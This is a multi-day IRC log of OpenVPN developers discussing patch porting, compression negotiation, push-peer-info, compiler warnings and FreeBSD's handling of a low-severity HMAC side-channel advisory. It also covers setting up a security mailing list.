256 seconds] 19:51 -!- raidz is now known as raidz_away 19:54 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 20:40 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 20:53 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 21:01 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 21:14 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 23:03 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 23:04 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Remote host closed the connection] 23:18 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel --- Day changed Fri Apr 12 2013 02:00 <@cron2> plaisthos: yeah, understood. Ugly still. But I just had an idea :-) - moving the code block between the declaration of dev and the #ifdef WIN32 to *after* the #endif should be safe enough, then the declaration can move inside the #ifdef, and the code is identical but sane... (assuming that nobody would run --inetd on windows) 03:09 -!- dazo_afk is now known as dazo 03:25 <@mattock> cron2: svnrev2git.py was the only tool I found, and it seemed adequate (except for documentation, which was missing) 03:27 <@plaisthos> cron2: should I send a new patch? 03:30 <@cron2> mattock: it does a wonderful job in extracting and preparing the patch. I can't apply them "right away" with git-am as half of the patches do not fit exactly anymore (like the configure.ac patch...) - but it's still taking away some of the manual work 03:30 <@cron2> plaisthos: if you agree with that reasoning, please do :-) - the rest is "obviously correct and non-ugly" 03:32 <@plaisthos> .oO(Can't we get rid of inetd support?) 03:34 <@mattock> cron2: yeah, I had to adapt the paths myself after svnrev2git.py... but that only allowed one of the patches (--remote-override) to apply 03:34 <@mattock> the rest failed due to various conflicts 03:34 <@dazo> mattock: what does svnrev2git.py do which 'git-svn clone' can't do? 03:35 <@cron2> even remote-override didn't apply for me (failed options.h) 03:36 <@cron2> dazo: it basically extracts a "git-am ready" patch from svn, without building a git repo 03:36 <@dazo> ahh 03:36 <@cron2> easier if you already know that most of the stuff will not apply 03:40 <@plaisthos> cron2: I don't like breaking inetd on windows on purpose for a little bit cleaner code 03:41 <@dazo> plaisthos: does an inetd approach actually work on windows at all? 03:41 <@cron2> *is* there "inetd on windows"? 03:42 <@cron2> (besides that, I find the assumption that "if you use inetd and tap, you'll use ifconfig-noxec!" a bit strange anyway...) 03:42 <@cron2> so maybe that code should just go 03:43 <@cron2> well-documented in the release notes, of course 03:45 <@cron2> mmmh, the comment is a bit misleading, it's not so much "inetd" but "INETD_NOWAIT" (= multiple openvpn processes with the same config and same tap device, aka 'weird setup') 04:10 <@plaisthos> yeah 05:46 <@cron2> so. after fighting a fully borked amanda upgrade now for a few hours, I'm ready to actually get some work done... 05:46 <@cron2> bah 05:46 <@cron2> open sores software 06:03 <@cron2> dazo: you might want to look into your git-ack-am script one day... if the subject line has "" in it, it fails in interesting ways 06:04 <@dazo> ugh 06:05 <@dazo> cron2: is it the git-ack part which fails? 06:05 <@cron2> no idea which part fails here... 06:05 <@cron2> Applying: Print "Virtual IPv6 Address" on management interface queries [v4] 06:05 <@cron2> /home/gert/bin/git-ack-am: line 26: IPv6: command not found 06:10 <@vpnHelper> RSS Update - testtrac: Print "Virtual IPv6 Address" on management interface queries [v4] <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=b5df9faad34a18375c0f4ef88f9fd0faf54e42a1> 06:10 <@cron2> where is d12fk hiding, just btw? 06:11 <@dazo> I'm guessing it's related to this line .... 06:11 <@dazo> eval $(git log --pretty=format:'author_email="%aE"%nauthor_name="%aN"%nauthor_date="%ad"%ncommit="%H"%nsubject="%s"%ncommitter_name="%cn"%ncommitter_email="%cE"%n' HEAD~1..HEAD) 06:11 <@d12fk> behind some shrubbery 06:12 <@cron2> yeah - the output file is then missing these details, so that's quite likely 06:13 <@dazo> subject="%s" ... that will definitely give some "interesting" results ... when that is run via eval 06:14 <@dazo> (%s means 'subject' in git's formatting style ... not string) 08:19 <@cron2> aaaargh 08:20 * cron2 tries to merge james' svn patches, and the big chunk is changing "USE_LZO" to "USE_COMP". Except that Alon changed all USE_LZO to ENABLE_LZO, so most of the patch chunks fail right away 08:23 <@plaisthos> :/ 08:25 <@cron2> well, nothing that can't be solved by a quick find and replace on the svn diff :) - but this is precisely why I didn't get started with this work for a few weeks now - I was afraid of it... (it's also touching configure.ac) 08:25 <@cron2> that's the "introduce snappy compression" patch 08:55 <@plaisthos> cron2: with snappy in place can the client that say. use-comp yes or something like that and it will use snappy or lzo if the server supports that? 08:56 <@cron2> client says "compress", server can push "compress lzo" or "compress snappy" 08:57 <@cron2> the packet format seems to be different between "no compression at all" and "we could do compression if the server says so" 08:59 <@plaisthos> A client without snappy will not say compress? 09:01 <@cron2> you can have "comp-lzo no" today, which will do about the same thing - enable compression framing, but do not actually activate compression 09:02 <@plaisthos> No I mean how does the server know that it is safe to push compress snappy 09:04 <@cron2> ah 09:04 <@cron2> there is something in the push-peer-info logic 09:04 <@cron2> I haven't fully understood *that* yet... seems ppi is relayed to management interface, and AS will then know "ah, this is iOS client -> can do snappy" 09:07 <@cron2> (part of the patch set is "always send a sub-set of push-peer-info data, even if not explicitely turned on") 09:18 <@plaisthos> ah 09:18 <@plaisthos> good step in the right direction 09:19 <@plaisthos> sending client capabilties 09:20 <@cron2> yep 09:31 <@cron2> argh... the other half of the patches fail to apply because andj did all the documentation work in the header files 09:41 -!- mattock is now known as mattock_afk 09:47 <@cron2> btw, "man openvpn" explains already today how to selectively enable --comp-lzo for individual clients :) 09:47 <@ecrist> woot 11:03 -!- raidz_away is now known as raidz 12:12 <@cron2> aw... these are scary... and gnu patch is amazing 12:12 <@cron2> Hunk #1 succeeded at 1809 (offset -2132 lines). 12:25 <@ecrist> mattock_afk / dazo / cron2: Heard back from the freebsd security team - they're not going to remove the vulnerability from the database. They gave no reason, but I've requested their resoning. I'll let you know. 12:39 <@ecrist> I got a response from the security team at FreeBSD, their reasoning is sound, and I would side with them. They are going to add a link to our wiki entry it the database. They would be more open to removal if 1) we didn't already have this fixed, and 2) there wasn't an easy path to a fix. since both are true, the entry will remain. 12:42 <+pekster> TBH, the vulnerability should be listed in the database as there's no good reason to continue running the "vulnerable" version. That said, I do have to chuckle a bit at it being called a "serous" severity (http://www.freebsd.org/cgi/query-pr.cgi?pr=ports/177517) or "high" risk factor (http://www.tenable.com/plugins/index.php?view=single&id=65846) 12:42 <@vpnHelper> Title: ports/177517: [PATCH] security/openvpn: security maintainer upgrade to 2.3.1 (at www.freebsd.org) 12:46 <+pekster> It's a little late to un-report the flaw, although there's virtually no info on the FreeBSD sources that come up explaining this is a side-channel attack on the HMAC alone, not the crypto; they make it sound like openvpn is completely compromised 12:46 <+pekster> At least they link to the wiki page on community.openvpn.net 13:17 <@dazo> severity: serious ... yeah right ... that's fairly missing the point in the community page 13:18 <+pekster> Yea, that's my point. It's not the act of keeping it in a vuln db somewhere, but offloading the real description/impact to the upstream description 13:18 <+pekster> Then unhelpfully taking the commit message somewhat out of context 13:19 <@dazo> https://community.openvpn.net/openvpn/wiki/SecurityAnnouncement-f375aa67cc ... that's what they need to reference too 13:19 <@vpnHelper> Title: SecurityAnnouncement-f375aa67cc – OpenVPN Community (at community.openvpn.net) 13:19 <@dazo> " The severity of this vulnerability can be considered low. Only if OpenVPN is configured to use a null-cipher, arbitrary plain-text can be injected which can completely open up this attack vector. " 13:20 <@cron2> ... and if you use a null cipher, you better know what you're doing :) 13:20 <@dazo> exactly 13:20 * dazo decides to ignore freebsd for now ... but pity people in #openvpn is a "storm" is coming there 13:20 <@dazo> *if* a storm... 13:26 <+pekster> I'd like to think anyone that concerned about the security is smart enough to read the report from upstream (us) but we'll see 13:28 <@dazo> if they find it ...... 13:29 <@dazo> (but I generally agree) 13:38 <@cron2> uh 13:38 <@cron2> how is "config.h.in" built? 13:38 * cron2 fights configure.ac and is missing the grand scheme of things 13:46 <@dazo> cron2: I believe autotools figures out by itself it needs it ... and creates it .... how come you need to know about that file? 13:48 <@ecrist> part of freebsd's response was due to having been burned in the past 13:48 <@ecrist> other seemingly innocuous vulnerabilities proved, a few months later, not so innocuous 13:49 <@dazo> cron2: http://www.openismus.com/documents/linux/automake/automake.shtml ... look at the paragraph: "Using a Config Header" 13:49 <@vpnHelper> Title: Using Automake and Autoconf with C++ (at www.openismus.com) 13:49 <+pekster> I actually respect the vulndb and the nice tools they use to expose it, but lack of information reported doesn't do users a service in this case. Some of that might be our fault too since the wiki page wasn't avialable when the release and commit message were available post 2.3.1 13:50 <@cron2> dazo: #undef ENABLE_LZO, #undef ENABLE_SNAPPY, #undef ENABLE_COMP 13:50 * cron2 fights "new #ifdef integration int autoconf magic" 13:50 <@cron2> pekster: they could have asked 13:50 <@cron2> it's not like we're hiding, or such 13:51 <+pekster> Looking back on prior vulndb entries, they're overly terse. Apparently not standard practice to worry about things like implications, mitigation, or attact vectors 13:51 <@cron2> ecrist: what they are now achieving is "users ignore these messages, because they are annoying" 13:51 <@ecrist> no offense to anyone here, but at least one of the folks on the freebsd sec team would run circles around anyone here wrt crypto knowledge. (afaik) 13:52 <@ecrist> cron2: agreed 13:52 <+pekster> Sure, but they didn't try to expose that grand knowledge to the fbsd userbase 13:52 <@ecrist> but, even me, at $work run nightly portaudits, and fix vulns simply because they're annoying. 13:53 <@ecrist> I already spoke with mattock, and there is a plan to handle things better, to be discussed at the next meeting. 13:53 <@dazo> cron2: Maybe this one explains things slightly better ... or puts things in a little context ... http://www.gnu.org/software/autoconf/manual/autoconf-2.67/html_node/autoheader-Invocation.html (or at least gives you some debug possibilities) 13:53 <@vpnHelper> Title: autoheader Invocation - Autoconf (at www.gnu.org) 13:53 <@ecrist> we, as a group, need to be more careful how we patch security bugs so as to not provoke a knee-jerk reaction 13:54 <@dazo> ecrist: or we just avoid certain keywords from the commit messages .... 13:54 <@cron2> dazo: it seems to be working by magic :-) (right now I'm trying to understand what Alon did with LZO_LIBS and OPTIONAL_LZO_LIBS and such...) 13:54 <+pekster> Neat, that's good to hear ecrist. Ultimately improved communication upfront can help, since I think the only 'issue' here is lack of proper info easily available to downstream packagers (whoever they may be) 13:54 <@ecrist> dazo: that's part of the spin control, yes 13:54 <@ecrist> pekster: in this case, I'm the downstream packager, or one of them 13:55 <+pekster> Sure, but if you wern't here and didn't have the wiki page, what would you have thought from the changelog and commit? ;) 13:55 <@dazo> ecrist: what kind of annoys me most of this is that they could have shoot an email to the commiter or patch author (e-mail addresses are all in the git logs) ... and ask about the severity before just flagging this as a "serious" issue ... without knowing the whole background 13:57 <@ecrist> first time I've read the original PR 13:57 <@ecrist> I'll talk to mandree 13:57 <+pekster> I'm on the fence about the seriousness I guess. It's a clever side-channel attack, but has very specific attact requirements and limited access post-attack (ciphertext injection to the decrypt routines only.) That's bad, but super-specific 13:58 <@dazo> and it basically requires 'null-cipher' to be really exploitable .... and if you use null-cipher together with authentication .... you already have a weird setup which have nothing to do with a secure VPN tunnel to start with 14:00 <+pekster> Right, but that's no reason to be less-vigilent about finding, reporting, and fixing a flaw just because it can't by itself compromize the system. But properly reported, starting with useful links on official release, will help. I suppose I can save some of this for thet meeting, 'eh? :) 14:00 <@ecrist> I'll talk to mandree, but going forward, we'll need a better path for security concerns 14:01 <@ecrist> also, to avoid such things, we need to be more careful about commit message 14:01 <@ecrist> that said, we shouldn't hide anything. a vulnerability is a vulnerability, and we don't need/want to disservice the user base 14:01 <@dazo> agreed ... but freebsd guys could also talk to us first too ... to check out if this was serious enough or not .... 14:02 <@ecrist> I'm on the fence on the last part 14:02 <@dazo> not just bring out a completely out-of-context announcement of their own 14:02 <@ecrist> it's their OS, they can do as they like 14:02 <@ecrist> but, we'll work on it 14:03 <+pekster> I suspect if the 2.3.1 ChangeLog had a detailed link to thte description, that would have been included in the vuln announcement 14:03 <@ecrist> yeah 14:03 <@dazo> pekster: but we didn't really imagine that this issue would be miss-interpreted like this as well 14:04 <+pekster> True, I see that too. For all the work involved in finding the changelog, release announcement, and git commit, an email wouldn't have been "that" much more work. But on the flip side, that's possibly a lot of work for downstream to do for every reported flaw for every package. I see their side too 14:04 <@dazo> what probably pisses me off here most of all, is that freebsd obviously don't think we would make a more detailed announcement if this was a real security issue .... they're the one who came with the big letters on this one 14:06 <@dazo> it's not going to help if we need to write explicit announcements when we do our releases as well, stating "oh, by the way, this release does not fix any real security issues" 14:07 <@dazo> which is why I would expect that them to reach out to us asking for clarification ... like f.ex. why doesn't this one have a CVE ID? 14:07 <@dazo> And this patch even came from guys who knows quite a lot about encryption and security too ... 14:08 <@dazo> Ignorance is a bliss 14:08 <@cron2> *sigh* 14:08 <@cron2> now my compile is blowing up in compat.h, which I didn't touch at all... 14:09 <@cron2> ah 14:09 <@cron2> James files do not include config.h 14:09 <@dazo> :) 14:09 <@cron2> porting over old svn stuff that introduced new configure options, new library dependencies *and* added new .c files... fun 14:09 <@dazo> James' files probably just includes syshead.h ... which we should really try to shrink even more 14:10 <@dazo> (and syshead.h used to include config.h earlier) 14:11 <@cron2> dazo: exactly so. And now it compiles \o/ 14:11 <@dazo> :) 14:18 <@cron2> OpenVPN 2.3_master i686-pc-linux-gnu [SSL (OpenSSL)] [SNAPPY] [EPOLL] [eurephia] [MH] [IPv6] built on Apr 12 2013 14:18 <@cron2> yay 14:19 <@dazo> cool :) 14:20 <@dazo> so that's a 2.3 with all the additional AS extensions? 14:20 <@dazo> or is it a 2.3 built for AS? 14:21 <@cron2> 2.3 with AS extensions from svn - not fully complete, but if this actually works, the two remaining patches are fairly trivial. This one was 1800 lines of conflicts... :) 14:22 <@cron2> (and then there is no excuse any longer not to use 2.3/master for AS :)) ) 14:23 <@dazo> yay!! 14:23 <@cron2> now I actually need feedback from James how he wants some of the details implemented... we now have ENABLE_LZO and USE_SNAPPY, which is inconsistent and ugly... 14:25 <@dazo> I would recommend using Alon's approach ... basically because that's the strict and recommended autotools approach 14:26 <@dazo> (even though, we can argue days over how Alon behaved and did things .... I acknowledge most of his resulting code, and esp. the autotools parts) 14:26 <@cron2> yes. Also it's more in line with the options being named --enable-foo/--disable-foo. But this is James' code, so I want him to explictely agree with it. 14:27 <@dazo> exactly ... well, I understand the point of James' accept too :) 14:31 <@cron2> ok, enough for today... 17:19 -!- dazo is now known as dazo_afk 19:07 -!- raidz is now known as raidz_away --- Day changed Sat Apr 13 2013 04:22 -!- syzzer [~steffan@50709C18.static.ziggozakelijk.nl] has quit [Ping timeout: 252 seconds] 04:57 -!- syzzer [~steffan@50709C18.static.ziggozakelijk.nl] has joined #openvpn-devel 05:16 <@cron2> ok, here we go 05:17 <@cron2> if --push-peer-info is active on the client, and the server is configured to send user+password auth requests to the management interface, *then* you'll see this info on the management console: 05:17 <@cron2> >CLIENT:CONNECT,0,0 05:17 <@cron2> >CLIENT:ENV,n_clients=0 05:17 <@cron2> >CLIENT:ENV,IV_VER=2.3.1 05:17 <@cron2> >CLIENT:ENV,IV_PLAT=freebsd 05:19 <@cron2> or this: 05:19 <@cron2> >CLIENT:ENV,IV_VER=1.0 05:19 <@cron2> >CLIENT:ENV,IV_PLAT=ios 05:19 <@cron2> >CLIENT:ENV,IV_NCP=1 05:19 <@cron2> >CLIENT:ENV,IV_LZO=1 05:20 <@cron2> this string is built in ssl.c and sent fairly early in the auth handshake 05:33 <@cron2> manage.c, about line 2407 (man_output_peer_info_env()) sends it to management interface - and I admit that I don't understand why msg(M_CLIENT...) does what it does 05:40 * plaisthos wonders if both android clients send IV_PLAT=android 05:40 <@plaisthos> mine doese ... 05:42 <@cron2> ... and which versions... the IV_VER=1.0 on ios is irritating me a bit 05:42 <@cron2> and I have no idea what IV_NCP is signalling 07:24 <@cron2> setenv PUSH_PEER_INFO 07:24 <@cron2> ?? 07:24 <@cron2> (this is what as puts into its .ovpn configs, instead of just "push-peer-info") 07:27 <@cron2> omg, this shit works... AS is pushing "compress snappy" and openvpn is doing so *rub eyes* 13:36 <@cron2> yay, and the extra "Virtual IPv6 Address" column makes AS puke :-) 13:41 <@cron2> yay, "setenv PUSH_PEER_INFO" is magically the same as --push-peer-info 13:41 <@cron2> mmmh, I can see what he's doing... create config files that always push peer info, but are backwards-compatible with clients compiled without --push-peer-info... 14:28 <@cron2> plaisthos: this is what openvpn connect sends: 14:28 <@cron2> 2013-04-13 21:29:13+0200 [OMIClientAuth,0,] FROM OMI: '>CLIENT:ENV,IV_VER=1.0' 14:28 <@cron2> 2013-04-13 21:29:13+0200 [OMIClientAuth,0,] FROM OMI: '>CLIENT:ENV,IV_PLAT=android' 19:31 <@plaisthos> cron2: IV_VER=1.0 seem very wrong, our client will send IV_VER=2.3_master 19:31 <@plaisthos> (and the platform as in Linux, Windows, Android, ....) --- Day changed Sun Apr 14 2013 01:14 <@cron2> plaisthos: IV_VER=1.0 is what the OpenVPN Connect sends on iOS as well... gives some lever to distinguish them (but I think AS is not using that at all, just the IV_SNAPPY=1, IV_LZO=1, IV_COMP=1 capability flags) 05:17 <@plaisthos> Going back to my cleanup patch, should I sent a version breaking the inetd on windows or a patch without this part or do commit the current patch first and deal with it later? 05:26 <@cron2> I'd say "leave that bit out, discuss it on the list / IRC meeting" 06:09 <@plaisthos> okay send an email without that part of the patch 06:43 <@cron2> plaisthos: arrived, thanks. Won't tackle that today, kids will wake up "any minute now" and I'm still somewhat busy with the AS stuff 06:44 <@plaisthos> cron2: no problem 06:44 <@plaisthos> I am trying to get OpenVPN compile without warnings 06:45 <@cron2> I *do* appreciate that :-) 06:46 <@plaisthos> but all the integer warnings are hard 06:46 <@plaisthos> like return strlen which is size_t but return -1 on error 06:47 <@cron2> ouch 06:47 <@plaisthos> and clang complains that the implicit cast from size_t to int is loosing precision 06:48 <@cron2> yeah, it's right, but not helpful either 06:50 <@cron2> pfffr... such a simple fix as the change in trac#269... *two* conflicts in a single 10-line chunk in forward.h... 06:57 <@plaisthos> but clang is right that if (ir6->netbits >= 0) 06:57 <@plaisthos> is useless as netbits is unsigned 12:01 <@cron2> argh, that one again 12:01 <@cron2> dunno why that one keeps coming up while I never seem to come around to *fix* it 15:45 <@plaisthos> :) 15:45 <@plaisthos> argh 15:45 <@plaisthos> opening a issue about my client and after questions the user tells me he is "using some modified version of the client" 15:49 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Quit: Space, the last best hope for peace. These are the voyages of the Millenium Falcon. Its five-year mission: to find technology to defeat the Goa'uld.] 16:35 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 18:50 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 264 seconds] --- Log closed Sun Apr 14 18:50:47 2013 --- Log opened Mon Apr 15 08:06:45 2013 08:06 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 08:06 -!- Irssi: #openvpn-devel: Total of 22 nicks [8 ops, 0 halfops, 3 voices, 11 normal] 08:06 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 08:06 -!- Irssi: Join to #openvpn-devel was synced in 2 secs 09:12 -!- dazo_afk is now known as dazo 09:52 -!- raidz_away is now known as raidz 11:21 <@cron2> "--enable-crypto --disable-ssl" is something that we do not really test right now :-/ - it would need a point to point setup with static key, and I guess it would actually fail due to crypto not being initialized properly without Syzzer's patch 11:22 <@cron2> anyway, I'm going to ACK that, and then it's fixed :) 11:55 <@dazo> makes sense :) 11:56 <@dazo> (and crypto without ssl also makes sense for some setups) 12:07 <@vpnHelper> RSS Update - testtrac: Fixed usage of stale define USE_SSL to ENABLE_SSL <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=1d561d4eaebe8652768270b6373023177b8d706d> 13:24 -!- dazo is now known as dazo_afk 13:28 -!- dazo_afk is now known as dazo 13:31 <@cron2> plaisthos: your patch managed to not have that windows bit, but *still* change all the whitespace in that bit that you did not change... 15:03 -!- dazo is now known as dazo_afk 16:03 <@plaisthos> cron2: urgh?! Somehow my reverting the changes to that file did not work 16:03 <@plaisthos> cron2: I will look into that tommorrow and send a fixed version 16:04 <@plaisthos> .oO(revert changes to options. git commit --amend, send patch sounded too easy to screw up :/) 20:19 -!- raidz is now known as raidz_away 23:27 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 23:29 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 23:30 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 23:30 -!- dazo_afk is now known as dazo --- Day changed Tue Apr 16 2013 01:33 <@mattock> cron2: did you send the patches listed on this page to the ml: https://community.openvpn.net/openvpn/wiki/Porting21PatchesTo23 01:33 <@vpnHelper> Title: Porting21PatchesTo23 – OpenVPN Community (at community.openvpn.net) 01:35 <@mattock> or rather, could you send them to the ml :) 02:22 <@cron2> mattock: not yet. I want to fix the snappy issue as well, and then I'll send the whole patch set 03:05 <@mattock> ok, good 03:05 <@mattock> I send a notification to the company list so that James can take a look 03:21 <@mattock> I _sent_ 03:47 -!- mattock is now known as mattock_afk 06:54 <@cron2> *grumble* 06:54 <@cron2> push-peer-info on the server side is ONLY exported to management-interface, not to normal environment, logfile, or client-connect script 07:25 * cron2 just got a mail asking whether the next version of the iOS client will have shared-key authentication... "as if I knew" :-) 08:47 <@cron2> ... and now he's complaining that he will have to buy an android device to get shared-key auth. As if it's so hard to roll a certificate... 08:54 * ecrist has acquired iphone 5 09:35 <@plaisthos> cron2: Let me guess OpenVPN 3 code base does not support shared key auth? 09:44 <@cron2> plaisthos: no idea. The iOS client certainly doesn't, and I have never looked into the source yet... you're much better qualified to answer that :-) 09:51 <@plaisthos> probably 09:51 <@plaisthos> too lazy too look 09:54 <@dazo> after all, who cares about iOS .... 09:54 * dazo ducks 09:54 <@cron2> ecrist, obviously! 09:56 * plaisthos has only experience with IOS version 12.something *ducks* 09:57 <@dazo> plaisthos: that's probably a far more usable and important OS .... 09:58 <@plaisthos> dazo: :) 10:12 <@cron2> but there's no OpenVPN for that, how can it be usable? 10:15 -!- raidz_away is now known as raidz 10:48 <@plaisthos> cron2: but it can even more obscure protocols you never have even heard of! 10:48 <@plaisthos> +speak 10:48 <@cron2> nah :) 10:48 * cron2 even did SNA-over-TCP with IOS boxes some day 10:50 <@cron2> "doing that for a living" = "I get to see all the obscurity" :-) (right now, we have no more IPX, X.25 or FrameRelay customers, though, and I don't know wehther the SNA thingie is still life...) 10:50 <@plaisthos> cron2: I have no idea what SNA even is 10:51 <@cron2> that's IBM networking. Evil stuff, sensitive to reordering, packet loss, and typicall used with source-route bridging in token ring networks... 10:52 <@cron2> IBM's idea of a layer 3 protocol 10:53 <@plaisthos> okay 10:59 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 11:00 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 11:00 -!- mode/#openvpn-devel [+o andj] by ChanServ 11:18 <@ecrist> lol 12:36 -!- dazo is now known as dazo_afk 19:34 -!- raidz is now known as raidz_away 21:25 -!- ZombieDahmer [ZombieDahm@c-67-169-147-158.hsd1.ca.comcast.net] has joined #openvpn-devel --- Day changed Wed Apr 17 2013 01:01 -!- mattock_afk is now known as mattock 03:00 * cron2 sends a big bug of coffee to mattock 03:00 <@cron2> mug 03:00 * cron2 gets himself some more tea :) 03:05 <@mattock> cron2: thanks, I drink coffee only once or twice a week, and had a cup a few days ago :) 03:13 <@mattock> I think I'll take a look at the security mailing list now... 03:16 -!- dazo_afk is now known as dazo 03:20 <@dazo> just saw a new openvpn bug report for Fedora 19 .... and in the logs provided, I see this line: 03:20 <@dazo> Apr 16 22:43:39 phenom systemd[1]: Started OpenVPN Robust And Highly Flexible Tunneling Application On seedst. 03:21 <@dazo> that's a nice statement ;-) 03:21 <@plaisthos> seedst = seedstation? *ducks* 03:21 <@dazo> heh ... the config file is called seedst for some reason :) 03:22 <@dazo> cron2: got a chance to give a cursory glance on this one? https://bugzilla.redhat.com/show_bug.cgi?id=952940 03:22 <@vpnHelper> Title: Bug 952940 tun-ipv6 setting not honored? (at bugzilla.redhat.com) 03:22 <@dazo> (full log file: https://bugzilla.redhat.com/attachment.cgi?id=736631 ) 03:23 <@plaisthos> phenom openvpn[6818]: WARNING: 'tun-ipv6' is present in remote config but missing in local config, remote='tun-ipv6' 03:23 <@plaisthos> didn't we remove that stuff from 2.3? 03:23 <@mattock> security list created, currently only dazo, cron2, mattock and jamesyonan on it 03:23 <@mattock> I'll send a test mail in a few minutes 03:24 <@mattock> we can discuss who should be on it later on, e.g. in the meeting 03:24 <@dazo> mattock: thx! That looks like a reasonable amount of members ... maybe andj or syzzer could be on it too ... but I think this list should have as few subscribers as possible 03:25 <@mattock> well, maybe some people responsible for distributing OpenVPN (e.g. FreeBSD ports = ecrist) 03:25 <@mattock> ? 03:25 <@mattock> I think somebody from Fox-IT should definitely be there, they have lots of security expertise 03:26 <@ecrist> what did I do? 03:26 <@mattock> nothing yet 03:26 <@mattock> :) 03:26 <@dazo> mattock: I'd say the list can copy distro people as needed 03:26 <@ecrist> heh 03:26 <@dazo> ecrist: you're early up ... 03:26 <@mattock> well, yes, that's true 03:26 <@ecrist> I am 03:26 <@ecrist> I should be, would like to be, on sec list 03:26 <@mattock> already or still? 03:26 <@ecrist> already 03:26 <@mattock> ok 03:26 <@ecrist> primary NAS at $work shit the bed 03:26 <@ecrist> :\ 03:27 <@dazo> uhhh 03:27 <@cron2> dazo: well... that's a spurious warning if tun-ipv6 is pushed, and not locally configured 03:27 <@plaisthos> getting distro people into security sounds like "active developer from openvpn-devel" 03:27 <@plaisthos> cron2: it is locally configured 03:27 <@dazo> cron2: it is locally configured as well ... 03:27 <@dazo> heh 03:28 <@cron2> mmmh, but that bug report confuses me a bit, it shouldn't do that if it's actually in the local config 03:28 <@dazo> exactly ... that's what's surprising me as well 03:28 <@cron2> so what did you break for Fedora 19? 03:28 <@mattock> regarding distro people... whether they're on the list or not we should probably give them an advance warning so that they can prepare to push out updated packages 03:28 <@plaisthos> hm probably the server is not openvpn 2.3.x 03:28 <@mattock> details don't have to be shared 03:28 <@mattock> with those we don't trust 100% 03:29 <@dazo> mattock: agreed! That's the "Cc when needed" :) 03:29 <@cron2> plaisthos: shouldn't matter for the way the message is printed 03:29 <@mattock> I'll add a note of that to tomorrow's agenda lest it be forgotten 03:29 <@cron2> Apr 16 22:43:39 phenom openvpn[6817]: tun_ipv6 = ENABLED 03:30 <@cron2> mmmh 03:31 <@plaisthos> cron2: iirc openvpn 2.3.1 will not pushed that option anymore 03:31 <@cron2> /* send tun_ipv6 only in peer2peer mode - in client/server mode, it 03:31 <@cron2> * is usually pushed by the server, triggering a non-helpful warning 03:31 <@cron2> */ 03:31 <@cron2> if (o->tun_ipv6 && o->mode == MODE_POINT_TO_POINT && !PULL_DEFINED(o)) 03:31 <@cron2> buf_printf (&out, ",tun-ipv6"); 03:31 <@cron2> it will push it, but it will not compare it 03:31 <@mattock> added a note here: https://community.openvpn.net/openvpn/wiki/Topics-2013-04-18 03:31 <@vpnHelper> Title: Topics-2013-04-18 – OpenVPN Community (at community.openvpn.net) 03:31 <@cron2> ah 03:31 <@plaisthos> only in p2p mode without pull 03:32 <@plaisthos> aka tls-server without push (does this even work?!) or p2p mode 03:32 <@dazo> I don't think you can use --pull in p2p mode ... or can you? 03:32 <@cron2> so when talking 2.3 to 2.3, it will not give a warning, because neither will include it in the OCC message 03:32 <@cron2> but when talking to an older server, it will be in OCC, and cause the warning 03:32 <@plaisthos> dazo: not sure. The client is always in p2p mode 03:32 <@dazo> ahh, true! 03:33 <@cron2> but if both sides are in p2p mode ("classical peer 2 peer") without --pull, it will be in OCC, to verify peer settings 03:33 <@dazo> Apr 16 22:43:39 phenom openvpn[6817]: mode = 0 (== MODE_POINT_TO_POINT) 03:34 <@cron2> yeah, but PULL_DEFINED, so if(false) 03:34 <@plaisthos> :) 03:34 <@mattock> security test mail sent 03:35 <@plaisthos> OT: later down on the log it says dal01.vpn.seed.st and www.seed.st wants to sell me seed stations :) 03:36 <@cron2> so anyway, that warning is spurious and should go away as soon as the server upgrades to 2.3.x as well. I think we knew this would happen, that some of the OCC flags would cause spurious warning when talking to 2.2_master servers (which this has to be, otherwise a p2mp server wouldn't do IPv6) 03:37 <@plaisthos> or 2.2.x + patches 03:37 <@plaisthos> like debian 03:37 <@cron2> true 03:38 <@plaisthos> it only ships 20 patches for 2.2.1 03:38 <@cron2> ouch 03:39 <@plaisthos> there are two typo patches which should be a nobrainer to apply 03:39 <@plaisthos> things like 03:39 <@plaisthos> - static const char pam_so[] = "libpam.so"; 03:39 <@plaisthos> + static const char pam_so[] = "libpam.so.0"; 03:40 <@dazo> hmmm .... agi has forgotten us again? We cleaned up a lot of those patches and reduced it to a pure minimum for 2.2 :/ 03:40 <@plaisthos> client_hang_when_server_dont_push.patch seems to be applied already as it is from james and is the retry pull stuff 03:41 <@cron2> plaisthos: is that a typo? maybe some systems name it libpam.so, with no number 03:41 * cron2 has no idea 03:41 <@plaisthos> cron2: nah not a typo patch 03:41 <@dazo> I think that one might be tools related 03:41 <@plaisthos> dazo: I will throw the debian patches on a web server 03:42 <@dazo> thx! 03:42 <@plaisthos> http://blinkt.de/debian/ 03:42 <@vpnHelper> Title: Index of /debian (at blinkt.de) 03:43 <@cron2> oh my... typo patches in a distribution package... there is madness 03:43 <@dazo> that's the patches used: 03:43 <@dazo> auth-pam_libpam_so_filename.patch 03:43 <@dazo> close_socket_before_scripts.patch 03:43 <@dazo> debian_nogroup_for_sample_files.patch 03:43 <@dazo> openvpn-pkcs11warn.patch 03:43 